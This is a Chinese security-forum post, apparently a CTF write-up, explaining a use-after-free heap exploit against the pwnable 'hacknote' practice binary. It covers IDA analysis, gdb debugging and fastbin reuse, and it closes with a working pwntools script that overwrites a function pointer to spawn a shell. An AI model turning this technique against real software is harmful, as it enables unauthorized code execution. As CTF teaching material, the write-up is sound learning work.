首页
社区
课程
招聘
[原创]Pwn堆利用学习—— Use-After-Free——pwnable_hacknote
2020-11-30 21:55 8308

[原创]Pwn堆利用学习—— Use-After-Free——pwnable_hacknote

2020-11-30 21:55
8308

pwnable_hacknote

步骤一:运行查看

image1

步骤二:查看文件类型和保护机制

  • 32位程序

image-20201029211654202

步骤三:IDA反编译分析

  • main函数

image-20201029212324103

  • add_note函数

image-20201029234813064

  • print_note_content函数

image-20201029222100332

  • del_note函数:free之后没有置为NULL,存在UAF漏洞。

image-20201029220151223

  • print_note函数

image-20201029235041431

 

gdb确认(_DWORD *)((int (__cdecl *)(_DWORD *))*notelist[v2])(notelist[v2])是哪个函数的方法:

  1. 选中第一个notelist[2],按tab键,切换到汇编代码,分析得知对应调用函数的指令是call eax,拷贝地址;
  2. 然后在gdb中下断点,先r运行,输入1创建一个note;
  3. 然后输入3,进行打印,运行到断点处,si单步调试,进入函数,看到这个调用的函数就是print_note_content函数。

image-20201029221020574

  • 这题没有明显看到函数中有shell函数,那么我们就在IDA中搜索一下,Shift+F12,看到/bin/sh字符串,双击进去,然后交叉引用,看到magic函数

image-20201029224140676

 

image-20201029224308434

步骤四:调试和思路

image-20201029225323604

  • 0x80485fb 在IDA中查看,是print_note_content函数
  • 0x8a71018 就在下面,是输入到堆里的“aaaa”

  • 所以,可以确定note结构体为:

1
2
3
4
struct note{
  void* ptr = print_note_content;
  char* content;
}

当然note-content chunk大小是0x18,还有8个字节我在图中没有打印出来。

 

思路

 

还记得print_note函数里的(_DWORD *)((int (__cdecl *)(_DWORD *))*notelist[v2])(notelist[v2]),现在就可以理解了:(_DWORD *)((int (__cdecl *)(_DWORD *))*notelist[v2])就是note结构体中的第一个条目,即print_note_content函数。

 

那么由于有UAF漏洞,我们就要想办法去把堆中这个函数的地址0x80485fb给改掉,改成magic函数的地址,然后再去调用print_note函数,那么就会调用结构体里的print_note_content函数,当然现在变成了magic函数,就能getshell了!

 

怎么去改呢?

 

想想我们的输入,能输入content,也就是说我们能直接控制输入的note-content chunk的内容,不能直接控制note chunk的内容。

 

还有一点,这个大小的chunk free之后是放入fastbin中,先进先出。

 

所以,我们可以想办法先malloc出两个note chunk,然后再依次free,接着再调用add_note()函数的话,先free的这个 note chunk(即第一个note chunk)就会变成 note-content chunk 了,我们能控制最后一次malloc的note-content chunk,让输入的content为magic函数的地址,那么就让第一个note chunk中print_note_content的地址变为了magic的地址!

 

最后调用print_note,输入index为0,那么就getshell了!

 

调试

 

image-20201030000858451

 

image-20201030001221447

 

image-20201030001503322

步骤五:Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
from pwn import *
 
context.log_level = 'debug'
p = process('./hacknote')
elf = ELF('./hacknote')
 
def add(size,content='aaaa'):
    p.sendlineafter(':','1')
    p.sendlineafter(':',str(size))
    p.sendlineafter(':',content)
 
def delete(index):
    p.sendlineafter(':','2')
    p.sendlineafter(':',str(index))
 
def show(index):
    p.sendlineafter(':','3')
    p.sendlineafter(':',str(index))
 
sh = p32(elf.sym['magic'])
add(0x10)
add(0x10)
delete(0)
delete(1)
add(0x8,sh)
show(0)
 
def dbg():
    gdb.attach(p)
    pause()
#dbg()
p.interactive()

参考文献

  • ctf-wiki
  • https://www.bilibili.com/video/BV1iE411H7cZ

[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。

最后于 2020-11-30 22:28 被ztree编辑 ,原因:
上传的附件:
收藏
点赞4
打赏
分享
打赏 + 2.00雪花
打赏次数 1 雪花 + 2.00
 
赞赏  kanxue   +2.00 2020/11/30 感谢分享~
最新回复 (3)
雪    币: 32408
活跃值: (18760)
能力值: (RANK:350 )
在线值:
发帖
回帖
粉丝
kanxue 8 2020-11-30 22:14
2
0
感谢分享!
雪    币: 1542
活跃值: (300)
能力值: ( LV4,RANK:40 )
在线值:
发帖
回帖
粉丝
木羊 2020-12-1 10:33
3
0
最近刷了一波UAF
雪    币: 160
活跃值: (172)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
小手冰凉_ 2020-12-23 09:51
4
0
总感觉这个案例在那儿见过
游客
登录 | 注册 方可回帖
返回